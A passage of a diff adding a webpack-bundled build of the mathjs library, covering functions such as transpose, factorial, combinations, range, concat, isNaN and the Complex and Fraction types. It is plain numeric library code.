BigNumber | Complex | Array | Matrix} x + * A complex number or array with complex numbers + * @return {number | BigNumber | Complex | Array | Matrix} + * The complex conjugate of x + */ + var conj = typed('conj', { + 'number': function number(x) { + return x; + }, + 'BigNumber': function BigNumber(x) { + return x; + }, + 'Complex': function Complex(x) { + return x.conjugate(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, conj); + } + }); + conj.toTex = { + 1: "\\left(${args[0]}\\right)^*" + }; + return conj; +} + +exports.name = 'conj'; +exports.factory = factory; + +/***/ }), +/* 72 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var clone = __webpack_require__(5).clone; + +var format = __webpack_require__(9).format; + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var DenseMatrix = type.DenseMatrix; + var SparseMatrix = type.SparseMatrix; + /** + * Transpose a matrix. All values of the matrix are reflected over its + * main diagonal. Only applicable to two dimensional matrices containing + * a vector (i.e. having size `[1,n]` or `[n,1]`). One dimensional + * vectors and scalars return the input unchanged. + * + * Syntax: + * + * math.transpose(x) + * + * Examples: + * + * const A = [[1, 2, 3], [4, 5, 6]] + * math.transpose(A) // returns [[1, 4], [2, 5], [3, 6]] + * + * See also: + * + * diag, inv, subset, squeeze + * + * @param {Array | Matrix} x Matrix to be transposed + * @return {Array | Matrix} The transposed matrix + */ + + var transpose = typed('transpose', { + 'Array': function Array(x) { + // use dense matrix implementation + return transpose(matrix(x)).valueOf(); + }, + 'Matrix': function Matrix(x) { + // matrix size + var size = x.size(); // result + + var c; // process dimensions + + switch (size.length) { + case 1: + // vector + c = x.clone(); + break; + + case 2: + // rows and columns + var rows = size[0]; + var columns = size[1]; // check columns + + if (columns === 0) { + // throw exception + throw new RangeError('Cannot transpose a 2D matrix with no columns (size: ' + format(size) + ')'); + } // process storage format + + + switch (x.storage()) { + case 'dense': + c = _denseTranspose(x, rows, columns); + break; + + case 'sparse': + c = _sparseTranspose(x, rows, columns); + break; + } + + break; + + default: + // multi dimensional + throw new RangeError('Matrix must be a vector or two dimensional (size: ' + format(this._size) + ')'); + } + + return c; + }, + // scalars + 'any': function any(x) { + return clone(x); + } + }); + + function _denseTranspose(m, rows, columns) { + // matrix array + var data = m._data; // transposed matrix data + + var transposed = []; + var transposedRow; // loop columns + + for (var j = 0; j < columns; j++) { + // initialize row + transposedRow = transposed[j] = []; // loop rows + + for (var i = 0; i < rows; i++) { + // set data + transposedRow[i] = clone(data[i][j]); + } + } // return matrix + + + return new DenseMatrix({ + data: transposed, + size: [columns, rows], + datatype: m._datatype + }); + } + + function _sparseTranspose(m, rows, columns) { + // matrix arrays + var values = m._values; + var index = m._index; + var ptr = m._ptr; // result matrices + + var cvalues = values ? [] : undefined; + var cindex = []; + var cptr = []; // row counts + + var w = []; + + for (var x = 0; x < rows; x++) { + w[x] = 0; + } // vars + + + var p, l, j; // loop values in matrix + + for (p = 0, l = index.length; p < l; p++) { + // number of values in row + w[index[p]]++; + } // cumulative sum + + + var sum = 0; // initialize cptr with the cummulative sum of row counts + + for (var i = 0; i < rows; i++) { + // update cptr + cptr.push(sum); // update sum + + sum += w[i]; // update w + + w[i] = cptr[i]; + } // update cptr + + + cptr.push(sum); // loop columns + + for (j = 0; j < columns; j++) { + // values & index in column + for (var k0 = ptr[j], k1 = ptr[j + 1], k = k0; k < k1; k++) { + // C values & index + var q = w[index[k]]++; // C[j, i] = A[i, j] + + cindex[q] = j; // check we need to process values (pattern matrix) + + if (values) { + cvalues[q] = clone(values[k]); + } + } + } // return matrix + + + return new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [columns, rows], + datatype: m._datatype + }); + } + + transpose.toTex = { + 1: "\\left(${args[0]}\\right)".concat(latex.operators['transpose']) + }; + return transpose; +} + +exports.name = 'transpose'; +exports.factory = factory; + +/***/ }), +/* 73 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Test whether a value is positive: larger than zero. + * The function supports types `number`, `BigNumber`, `Fraction`, and `Unit`. + * + * The function is evaluated element-wise in case of Array or Matrix input. + * + * Syntax: + * + * math.isPositive(x) + * + * Examples: + * + * math.isPositive(3) // returns true + * math.isPositive(-2) // returns false + * math.isPositive(0) // returns false + * math.isPositive(-0) // returns false + * math.isPositive(0.5) // returns true + * math.isPositive(math.bignumber(2)) // returns true + * math.isPositive(math.fraction(-2, 5)) // returns false + * math.isPositive(math.fraction(1,3)) // returns false + * math.isPositive('2') // returns true + * math.isPositive([2, 0, -3]) // returns [true, false, false] + * + * See also: + * + * isNumeric, isZero, isNegative, isInteger + * + * @param {number | BigNumber | Fraction | Unit | Array | Matrix} x Value to be tested + * @return {boolean} Returns true when `x` is larger than zero. + * Throws an error in case of an unknown data type. + */ + var isPositive = typed('isPositive', { + 'number': function number(x) { + return x > 0; + }, + 'BigNumber': function BigNumber(x) { + return !x.isNeg() && !x.isZero() && !x.isNaN(); + }, + 'Fraction': function Fraction(x) { + return x.s > 0 && x.n > 0; + }, + 'Unit': function Unit(x) { + return isPositive(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, isPositive); + } + }); + return isPositive; +} + +exports.name = 'isPositive'; +exports.factory = factory; + +/***/ }), +/* 74 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var scatter = __webpack_require__(234); + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var equalScalar = load(__webpack_require__(11)); + var SparseMatrix = type.SparseMatrix; + /** + * Iterates over SparseMatrix A and SparseMatrix B nonzero items and invokes the callback function f(Aij, Bij). + * Callback function invoked (Anz U Bnz) times, where Anz and Bnz are the nonzero elements in both matrices. + * + * + * ┌ f(Aij, Bij) ; A(i,j) !== 0 && B(i,j) !== 0 + * C(i,j) = ┤ + * └ 0 ; otherwise + * + * + * @param {Matrix} a The SparseMatrix instance (A) + * @param {Matrix} b The SparseMatrix instance (B) + * @param {Function} callback The f(Aij,Bij) operation to invoke + * + * @return {Matrix} SparseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97620294 + */ + + var algorithm06 = function algorithm06(a, b, callback) { + // sparse matrix arrays + var avalues = a._values; + var asize = a._size; + var adt = a._datatype; // sparse matrix arrays + + var bvalues = b._values; + var bsize = b._size; + var bdt = b._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // find signature that matches (dt, dt) + + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result arrays + + + var cvalues = avalues && bvalues ? [] : undefined; + var cindex = []; + var cptr = []; // matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [rows, columns], + datatype: dt + }); // workspaces + + var x = cvalues ? [] : undefined; // marks indicating we have a value in x for a given column + + var w = []; // marks indicating value in a given row has been updated + + var u = []; // loop columns + + for (var j = 0; j < columns; j++) { + // update cptr + cptr[j] = cindex.length; // columns mark + + var mark = j + 1; // scatter the values of A(:,j) into workspace + + scatter(a, j, w, x, u, mark, c, cf); // scatter the values of B(:,j) into workspace + + scatter(b, j, w, x, u, mark, c, cf); // check we need to process values (non pattern matrix) + + if (x) { + // initialize first index in j + var k = cptr[j]; // loop index in j + + while (k < cindex.length) { + // row + var i = cindex[k]; // check function was invoked on current row (Aij !=0 && Bij != 0) + + if (u[i] === mark) { + // value @ i + var v = x[i]; // check for zero value + + if (!eq(v, zero)) { + // push value + cvalues.push(v); // increment pointer + + k++; + } else { + // remove value @ i, do not increment pointer + cindex.splice(k, 1); + } + } else { + // remove value @ i, do not increment pointer + cindex.splice(k, 1); + } + } + } else { + // initialize first index in j + var p = cptr[j]; // loop index in j + + while (p < cindex.length) { + // row + var r = cindex[p]; // check function was invoked on current row (Aij !=0 && Bij != 0) + + if (u[r] !== mark) { + // remove value @ i, do not increment pointer + cindex.splice(p, 1); + } else { + // increment pointer + p++; + } + } + } + } // update cptr + + + cptr[columns] = cindex.length; // return sparse matrix + + return c; + }; + + return algorithm06; +} + +exports.name = 'algorithm06'; +exports.factory = factory; + +/***/ }), +/* 75 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var gamma = load(__webpack_require__(141)); + + var latex = __webpack_require__(4); + /** + * Compute the factorial of a value + * + * Factorial only supports an integer value as argument. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.factorial(n) + * + * Examples: + * + * math.factorial(5) // returns 120 + * math.factorial(3) // returns 6 + * + * See also: + * + * combinations, gamma, permutations + * + * @param {number | BigNumber | Array | Matrix} n An integer number + * @return {number | BigNumber | Array | Matrix} The factorial of `n` + */ + + + var factorial = typed('factorial', { + 'number': function number(n) { + if (n < 0) { + throw new Error('Value must be non-negative'); + } + + return gamma(n + 1); + }, + 'BigNumber': function BigNumber(n) { + if (n.isNegative()) { + throw new Error('Value must be non-negative'); + } + + return gamma(n.plus(1)); + }, + 'Array | Matrix': function ArrayMatrix(n) { + return deepMap(n, factorial); + } + }); + factorial.toTex = { + 1: "\\left(${args[0]}\\right)".concat(latex.operators['factorial']) + }; + return factorial; +} + +exports.name = 'factorial'; +exports.factory = factory; + +/***/ }), +/* 76 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var product = __webpack_require__(95); + +function factory(type, config, load, typed) { + /** + * Compute the number of ways of picking `k` unordered outcomes from `n` + * possibilities. + * + * Combinations only takes integer arguments. + * The following condition must be enforced: k <= n. + * + * Syntax: + * + * math.combinations(n, k) + * + * Examples: + * + * math.combinations(7, 5) // returns 21 + * + * See also: + * + * permutations, factorial + * + * @param {number | BigNumber} n Total number of objects in the set + * @param {number | BigNumber} k Number of objects in the subset + * @return {number | BigNumber} Number of possible combinations. + */ + var combinations = typed('combinations', { + 'number, number': function numberNumber(n, k) { + var prodrange, nMinusk; + + if (!isInteger(n) || n < 0) { + throw new TypeError('Positive integer value expected in function combinations'); + } + + if (!isInteger(k) || k < 0) { + throw new TypeError('Positive integer value expected in function combinations'); + } + + if (k > n) { + throw new TypeError('k must be less than or equal to n'); + } + + nMinusk = n - k; + + if (k < nMinusk) { + prodrange = product(nMinusk + 1, n); + return prodrange / product(1, k); + } + + prodrange = product(k + 1, n); + return prodrange / product(1, nMinusk); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(n, k) { + var max, result, i, ii; + var one = new type.BigNumber(1); + + if (!isPositiveInteger(n) || !isPositiveInteger(k)) { + throw new TypeError('Positive integer value expected in function combinations'); + } + + if (k.gt(n)) { + throw new TypeError('k must be less than n in function combinations'); + } + + max = n.minus(k); + if (k.lt(max)) max = k; + result = one; + + for (i = one, ii = n.minus(max); i.lte(ii); i = i.plus(1)) { + result = result.times(max.plus(i)).dividedBy(i); + } + + return result; + } // TODO: implement support for collection in combinations + + }); + combinations.toTex = { + 2: "\\binom{${args[0]}}{${args[1]}}" + }; + return combinations; +} +/** + * Test whether BigNumber n is a positive integer + * @param {BigNumber} n + * @returns {boolean} isPositiveInteger + */ + + +function isPositiveInteger(n) { + return n.isInteger() && n.gte(0); +} + +exports.name = 'combinations'; +exports.factory = factory; + +/***/ }), +/* 77 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var smaller = load(__webpack_require__(38)); + var larger = load(__webpack_require__(33)); + var smallerEq = load(__webpack_require__(144)); + var largerEq = load(__webpack_require__(89)); + var ZERO = new type.BigNumber(0); + var ONE = new type.BigNumber(1); + /** + * Create an array from a range. + * By default, the range end is excluded. This can be customized by providing + * an extra parameter `includeEnd`. + * + * Syntax: + * + * math.range(str [, includeEnd]) // Create a range from a string, + * // where the string contains the + * // start, optional step, and end, + * // separated by a colon. + * math.range(start, end [, includeEnd]) // Create a range with start and + * // end and a step size of 1. + * math.range(start, end, step [, includeEnd]) // Create a range with start, step, + * // and end. + * + * Where: + * + * - `str: string` + * A string 'start:end' or 'start:step:end' + * - `start: {number | BigNumber}` + * Start of the range + * - `end: number | BigNumber` + * End of the range, excluded by default, included when parameter includeEnd=true + * - `step: number | BigNumber` + * Step size. Default value is 1. + * - `includeEnd: boolean` + * Option to specify whether to include the end or not. False by default. + * + * Examples: + * + * math.range(2, 6) // [2, 3, 4, 5] + * math.range(2, -3, -1) // [2, 1, 0, -1, -2] + * math.range('2:1:6') // [2, 3, 4, 5] + * math.range(2, 6, true) // [2, 3, 4, 5, 6] + * + * See also: + * + * ones, zeros, size, subset + * + * @param {*} args Parameters describing the ranges `start`, `end`, and optional `step`. + * @return {Array | Matrix} range + */ + + var range = typed('range', { + // TODO: simplify signatures when typed-function supports default values and optional arguments + // TODO: a number or boolean should not be converted to string here + 'string': _strRange, + 'string, boolean': _strRange, + 'number, number': function numberNumber(start, end) { + return _out(_rangeEx(start, end, 1)); + }, + 'number, number, number': function numberNumberNumber(start, end, step) { + return _out(_rangeEx(start, end, step)); + }, + 'number, number, boolean': function numberNumberBoolean(start, end, includeEnd) { + return includeEnd ? _out(_rangeInc(start, end, 1)) : _out(_rangeEx(start, end, 1)); + }, + 'number, number, number, boolean': function numberNumberNumberBoolean(start, end, step, includeEnd) { + return includeEnd ? _out(_rangeInc(start, end, step)) : _out(_rangeEx(start, end, step)); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(start, end) { + return _out(_bigRangeEx(start, end, ONE)); + }, + 'BigNumber, BigNumber, BigNumber': function BigNumberBigNumberBigNumber(start, end, step) { + return _out(_bigRangeEx(start, end, step)); + }, + 'BigNumber, BigNumber, boolean': function BigNumberBigNumberBoolean(start, end, includeEnd) { + return includeEnd ? _out(_bigRangeInc(start, end, ONE)) : _out(_bigRangeEx(start, end, ONE)); + }, + 'BigNumber, BigNumber, BigNumber, boolean': function BigNumberBigNumberBigNumberBoolean(start, end, step, includeEnd) { + return includeEnd ? _out(_bigRangeInc(start, end, step)) : _out(_bigRangeEx(start, end, step)); + } + }); + range.toTex = undefined; // use default template + + return range; + + function _out(arr) { + return config.matrix === 'Array' ? arr : matrix(arr); + } + + function _strRange(str, includeEnd) { + var r = _parse(str); + + if (!r) { + throw new SyntaxError('String "' + str + '" is no valid range'); + } + + var fn; + + if (config.number === 'BigNumber') { + fn = includeEnd ? _bigRangeInc : _bigRangeEx; + return _out(fn(new type.BigNumber(r.start), new type.BigNumber(r.end), new type.BigNumber(r.step))); + } else { + fn = includeEnd ? _rangeInc : _rangeEx; + return _out(fn(r.start, r.end, r.step)); + } + } + /** + * Create a range with numbers. End is excluded + * @param {number} start + * @param {number} end + * @param {number} step + * @returns {Array} range + * @private + */ + + + function _rangeEx(start, end, step) { + var array = []; + var x = start; + + if (step > 0) { + while (smaller(x, end)) { + array.push(x); + x += step; + } + } else if (step < 0) { + while (larger(x, end)) { + array.push(x); + x += step; + } + } + + return array; + } + /** + * Create a range with numbers. End is included + * @param {number} start + * @param {number} end + * @param {number} step + * @returns {Array} range + * @private + */ + + + function _rangeInc(start, end, step) { + var array = []; + var x = start; + + if (step > 0) { + while (smallerEq(x, end)) { + array.push(x); + x += step; + } + } else if (step < 0) { + while (largerEq(x, end)) { + array.push(x); + x += step; + } + } + + return array; + } + /** + * Create a range with big numbers. End is excluded + * @param {BigNumber} start + * @param {BigNumber} end + * @param {BigNumber} step + * @returns {Array} range + * @private + */ + + + function _bigRangeEx(start, end, step) { + var array = []; + var x = start; + + if (step.gt(ZERO)) { + while (smaller(x, end)) { + array.push(x); + x = x.plus(step); + } + } else if (step.lt(ZERO)) { + while (larger(x, end)) { + array.push(x); + x = x.plus(step); + } + } + + return array; + } + /** + * Create a range with big numbers. End is included + * @param {BigNumber} start + * @param {BigNumber} end + * @param {BigNumber} step + * @returns {Array} range + * @private + */ + + + function _bigRangeInc(start, end, step) { + var array = []; + var x = start; + + if (step.gt(ZERO)) { + while (smallerEq(x, end)) { + array.push(x); + x = x.plus(step); + } + } else if (step.lt(ZERO)) { + while (largerEq(x, end)) { + array.push(x); + x = x.plus(step); + } + } + + return array; + } + /** + * Parse a string into a range, + * The string contains the start, optional step, and end, separated by a colon. + * If the string does not contain a valid range, null is returned. + * For example str='0:2:11'. + * @param {string} str + * @return {{start: number, end: number, step: number} | null} range Object containing properties start, end, step + * @private + */ + + + function _parse(str) { + var args = str.split(':'); // number + + var nums = args.map(function (arg) { + // use Number and not parseFloat as Number returns NaN on invalid garbage in the string + return Number(arg); + }); + var invalid = nums.some(function (num) { + return isNaN(num); + }); + + if (invalid) { + return null; + } + + switch (nums.length) { + case 2: + return { + start: nums[0], + end: nums[1], + step: 1 + }; + + case 3: + return { + start: nums[0], + end: nums[2], + step: nums[1] + }; + + default: + return null; + } + } +} + +exports.name = 'range'; +exports.factory = factory; + +/***/ }), +/* 78 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var clone = __webpack_require__(5).clone; + +var array = __webpack_require__(2); + +var IndexError = __webpack_require__(48); + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var isInteger = load(__webpack_require__(34)); + /** + * Concatenate two or more matrices. + * + * Syntax: + * + * math.concat(A, B, C, ...) + * math.concat(A, B, C, ..., dim) + * + * Where: + * + * - `dim: number` is a zero-based dimension over which to concatenate the matrices. + * By default the last dimension of the matrices. + * + * Examples: + * + * const A = [[1, 2], [5, 6]] + * const B = [[3, 4], [7, 8]] + * + * math.concat(A, B) // returns [[1, 2, 3, 4], [5, 6, 7, 8]] + * math.concat(A, B, 0) // returns [[1, 2], [5, 6], [3, 4], [7, 8]] + * math.concat('hello', ' ', 'world') // returns 'hello world' + * + * See also: + * + * size, squeeze, subset, transpose + * + * @param {... Array | Matrix} args Two or more matrices + * @return {Array | Matrix} Concatenated matrix + */ + + var concat = typed('concat', { + // TODO: change signature to '...Array | Matrix, dim?' when supported + '...Array | Matrix | number | BigNumber': function ArrayMatrixNumberBigNumber(args) { + var i; + var len = args.length; + var dim = -1; // zero-based dimension + + var prevDim; + var asMatrix = false; + var matrices = []; // contains multi dimensional arrays + + for (i = 0; i < len; i++) { + var arg = args[i]; // test whether we need to return a Matrix (if not we return an Array) + + if (type.isMatrix(arg)) { + asMatrix = true; + } + + if (type.isNumber(arg) || type.isBigNumber(arg)) { + if (i !== len - 1) { + throw new Error('Dimension must be specified as last argument'); + } // last argument contains the dimension on which to concatenate + + + prevDim = dim; + dim = arg.valueOf(); // change BigNumber to number + + if (!isInteger(dim)) { + throw new TypeError('Integer number expected for dimension'); + } + + if (dim < 0 || i > 0 && dim > prevDim) { + // TODO: would be more clear when throwing a DimensionError here + throw new IndexError(dim, prevDim + 1); + } + } else { + // this is a matrix or array + var m = clone(arg).valueOf(); + var size = array.size(m); + matrices[i] = m; + prevDim = dim; + dim = size.length - 1; // verify whether each of the matrices has the same number of dimensions + + if (i > 0 && dim !== prevDim) { + throw new DimensionError(prevDim + 1, dim + 1); + } + } + } + + if (matrices.length === 0) { + throw new SyntaxError('At least one matrix expected'); + } + + var res = matrices.shift(); + + while (matrices.length) { + res = _concat(res, matrices.shift(), dim, 0); + } + + return asMatrix ? matrix(res) : res; + }, + '...string': function string(args) { + return args.join(''); + } + }); + concat.toTex = undefined; // use default template + + return concat; +} +/** + * Recursively concatenate two matrices. + * The contents of the matrices is not cloned. + * @param {Array} a Multi dimensional array + * @param {Array} b Multi dimensional array + * @param {number} concatDim The dimension on which to concatenate (zero-based) + * @param {number} dim The current dim (zero-based) + * @return {Array} c The concatenated matrix + * @private + */ + + +function _concat(a, b, concatDim, dim) { + if (dim < concatDim) { + // recurse into next dimension + if (a.length !== b.length) { + throw new DimensionError(a.length, b.length); + } + + var c = []; + + for (var i = 0; i < a.length; i++) { + c[i] = _concat(a[i], b[i], concatDim, dim + 1); + } + + return c; + } else { + // concatenate this dimension + return a.concat(b); + } +} + +exports.name = 'concat'; +exports.factory = factory; + +/***/ }), +/* 79 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Test whether a value is NaN (not a number). + * The function supports types `number`, `BigNumber`, `Fraction`, `Unit` and `Complex`. + * + * The function is evaluated element-wise in case of Array or Matrix input. + * + * Syntax: + * + * math.isNaN(x) + * + * Examples: + * + * math.isNaN(3) // returns false + * math.isNaN(NaN) // returns true + * math.isNaN(0) // returns false + * math.isNaN(math.bignumber(NaN)) // returns true + * math.isNaN(math.bignumber(0)) // returns false + * math.isNaN(math.fraction(-2, 5)) // returns false + * math.isNaN('-2') // returns false + * math.isNaN([2, 0, -3, NaN]') // returns [false, false, false, true] + * + * See also: + * + * isNumeric, isNegative, isPositive, isZero, isInteger + * + * @param {number | BigNumber | Fraction | Unit | Array | Matrix} x Value to be tested + * @return {boolean} Returns true when `x` is NaN. + * Throws an error in case of an unknown data type. + */ + var isNaN = typed('isNaN', { + 'number': function number(x) { + return Number.isNaN(x); + }, + 'BigNumber': function BigNumber(x) { + return x.isNaN(); + }, + 'Fraction': function Fraction(x) { + return false; + }, + 'Complex': function Complex(x) { + return x.isNaN(); + }, + 'Unit': function Unit(x) { + return Number.isNaN(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, Number.isNaN); + } + }); + return isNaN; +} + +exports.name = 'isNaN'; +exports.factory = factory; + +/***/ }), +/* 80 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var arraySize = __webpack_require__(2).size; + +var isMatrix = __webpack_require__(56); + +var IndexError = __webpack_require__(48); +/** + * Reduce a given matrix or array to a new matrix or + * array with one less dimension, applying the given + * callback in the selected dimension. + * @param {Array | Matrix} mat + * @param {number} dim + * @param {Function} callback + * @return {Array | Matrix} res + */ + + +module.exports = function (mat, dim, callback) { + var size = Array.isArray(mat) ? arraySize(mat) : mat.size(); + + if (dim < 0 || dim >= size.length) { + // TODO: would be more clear when throwing a DimensionError here + throw new IndexError(dim, size.length); + } + + if (isMatrix(mat)) { + return mat.create(_reduce(mat.valueOf(), dim, callback)); + } else { + return _reduce(mat, dim, callback); + } +}; +/** + * Recursively reduce a matrix + * @param {Array} mat + * @param {number} dim + * @param {Function} callback + * @returns {Array} ret + * @private + */ + + +function _reduce(mat, dim, callback) { + var i, ret, val, tran; + + if (dim <= 0) { + if (!Array.isArray(mat[0])) { + val = mat[0]; + + for (i = 1; i < mat.length; i++) { + val = callback(val, mat[i]); + } + + return val; + } else { + tran = _switch(mat); + ret = []; + + for (i = 0; i < tran.length; i++) { + ret[i] = _reduce(tran[i], dim - 1, callback); + } + + return ret; + } + } else { + ret = []; + + for (i = 0; i < mat.length; i++) { + ret[i] = _reduce(mat[i], dim - 1, callback); + } + + return ret; + } +} +/** + * Transpose a matrix + * @param {Array} mat + * @returns {Array} ret + * @private + */ + + +function _switch(mat) { + var I = mat.length; + var J = mat[0].length; + var i, j; + var ret = []; + + for (j = 0; j < J; j++) { + var tmp = []; + + for (i = 0; i < I; i++) { + tmp.push(mat[i][j]); + } + + ret.push(tmp); + } + + return ret; +} + +/***/ }), +/* 81 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Test whether a value is a BigNumber + * @param {*} x + * @return {boolean} + */ + +module.exports = function isBigNumber(x) { + return x && x.constructor.prototype.isBigNumber || false; +}; + +/***/ }), +/* 82 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var Complex = __webpack_require__(178); + +var format = __webpack_require__(3).format; + +var isNumber = __webpack_require__(3).isNumber; + +function factory(type, config, load, typed, math) { + /** + * Attach type information + */ + Complex.prototype.type = 'Complex'; + Complex.prototype.isComplex = true; + /** + * Get a JSON representation of the complex number + * @returns {Object} Returns a JSON object structured as: + * `{"mathjs": "Complex", "re": 2, "im": 3}` + */ + + Complex.prototype.toJSON = function () { + return { + mathjs: 'Complex', + re: this.re, + im: this.im + }; + }; + /* + * Return the value of the complex number in polar notation + * The angle phi will be set in the interval of [-pi, pi]. + * @return {{r: number, phi: number}} Returns and object with properties r and phi. + */ + + + Complex.prototype.toPolar = function () { + return { + r: this.abs(), + phi: this.arg() + }; + }; + /** + * Get a string representation of the complex number, + * with optional formatting options. + * @param {Object | number | Function} [options] Formatting options. See + * lib/utils/number:format for a + * description of the available + * options. + * @return {string} str + */ + + + Complex.prototype.format = function (options) { + var str = ''; + var im = this.im; + var re = this.re; + var strRe = format(this.re, options); + var strIm = format(this.im, options); // round either re or im when smaller than the configured precision + + var precision = isNumber(options) ? options : options ? options.precision : null; + + if (precision !== null) { + var epsilon = Math.pow(10, -precision); + + if (Math.abs(re / im) < epsilon) { + re = 0; + } + + if (Math.abs(im / re) < epsilon) { + im = 0; + } + } + + if (im === 0) { + // real value + str = strRe; + } else if (re === 0) { + // purely complex value + if (im === 1) { + str = 'i'; + } else if (im === -1) { + str = '-i'; + } else { + str = strIm + 'i'; + } + } else { + // complex value + if (im < 0) { + if (im === -1) { + str = strRe + ' - i'; + } else { + str = strRe + ' - ' + strIm.substring(1) + 'i'; + } + } else { + if (im === 1) { + str = strRe + ' + i'; + } else { + str = strRe + ' + ' + strIm + 'i'; + } + } + } + + return str; + }; + /** + * Create a complex number from polar coordinates + * + * Usage: + * + * Complex.fromPolar(r: number, phi: number) : Complex + * Complex.fromPolar({r: number, phi: number}) : Complex + * + * @param {*} args... + * @return {Complex} + */ + + + Complex.fromPolar = function (args) { + switch (arguments.length) { + case 1: + var arg = arguments[0]; + + if (_typeof(arg) === 'object') { + return Complex(arg); + } + + throw new TypeError('Input has to be an object with r and phi keys.'); + + case 2: + var r = arguments[0]; + var phi = arguments[1]; + + if (isNumber(r)) { + if (type.isUnit(phi) && phi.hasBase('ANGLE')) { + // convert unit to a number in radians + phi = phi.toNumber('rad'); + } + + if (isNumber(phi)) { + return new Complex({ + r: r, + phi: phi + }); + } + + throw new TypeError('Phi is not a number nor an angle unit.'); + } else { + throw new TypeError('Radius r is not a number.'); + } + + default: + throw new SyntaxError('Wrong number of arguments in function fromPolar'); + } + }; + + Complex.prototype.valueOf = Complex.prototype.toString; + /** + * Create a Complex number from a JSON object + * @param {Object} json A JSON Object structured as + * {"mathjs": "Complex", "re": 2, "im": 3} + * All properties are optional, default values + * for `re` and `im` are 0. + * @return {Complex} Returns a new Complex number + */ + + Complex.fromJSON = function (json) { + return new Complex(json); + }; // apply the current epsilon + + + Complex.EPSILON = config.epsilon; // listen for changed in the configuration, automatically apply changed epsilon + + math.on('config', function (curr, prev) { + if (curr.epsilon !== prev.epsilon) { + Complex.EPSILON = curr.epsilon; + } + }); + /** + * Compare two complex numbers, `a` and `b`: + * + * - Returns 1 when the real part of `a` is larger than the real part of `b` + * - Returns -1 when the real part of `a` is smaller than the real part of `b` + * - Returns 1 when the real parts are equal + * and the imaginary part of `a` is larger than the imaginary part of `b` + * - Returns -1 when the real parts are equal + * and the imaginary part of `a` is smaller than the imaginary part of `b` + * - Returns 0 when both real and imaginary parts are equal. + * + * @params {Complex} a + * @params {Complex} b + * @returns {number} Returns the comparison result: -1, 0, or 1 + */ + + Complex.compare = function (a, b) { + if (a.re > b.re) { + return 1; + } + + if (a.re < b.re) { + return -1; + } + + if (a.im > b.im) { + return 1; + } + + if (a.im < b.im) { + return -1; + } + + return 0; + }; + + return Complex; +} + +exports.name = 'Complex'; +exports.path = 'type'; +exports.factory = factory; +exports.math = true; // request access to the math namespace + +/***/ }), +/* 83 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Create a fraction convert a value to a fraction. + * + * Syntax: + * math.fraction(numerator, denominator) + * math.fraction({n: numerator, d: denominator}) + * math.fraction(matrix: Array | Matrix) Turn all matrix entries + * into fractions + * + * Examples: + * + * math.fraction(1, 3) + * math.fraction('2/3') + * math.fraction({n: 2, d: 3}) + * math.fraction([0.2, 0.25, 1.25]) + * + * See also: + * + * bignumber, number, string, unit + * + * @param {number | string | Fraction | BigNumber | Array | Matrix} [args] + * Arguments specifying the numerator and denominator of + * the fraction + * @return {Fraction | Array | Matrix} Returns a fraction + */ + var fraction = typed('fraction', { + 'number': function number(x) { + if (!isFinite(x) || isNaN(x)) { + throw new Error(x + ' cannot be represented as a fraction'); + } + + return new type.Fraction(x); + }, + 'string': function string(x) { + return new type.Fraction(x); + }, + 'number, number': function numberNumber(numerator, denominator) { + return new type.Fraction(numerator, denominator); + }, + 'null': function _null(x) { + return new type.Fraction(0); + }, + 'BigNumber': function BigNumber(x) { + return new type.Fraction(x.toString()); + }, + 'Fraction': function Fraction(x) { + return x; // fractions are immutable + }, + 'Object': function Object(x) { + return new type.Fraction(x); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, fraction); + } + 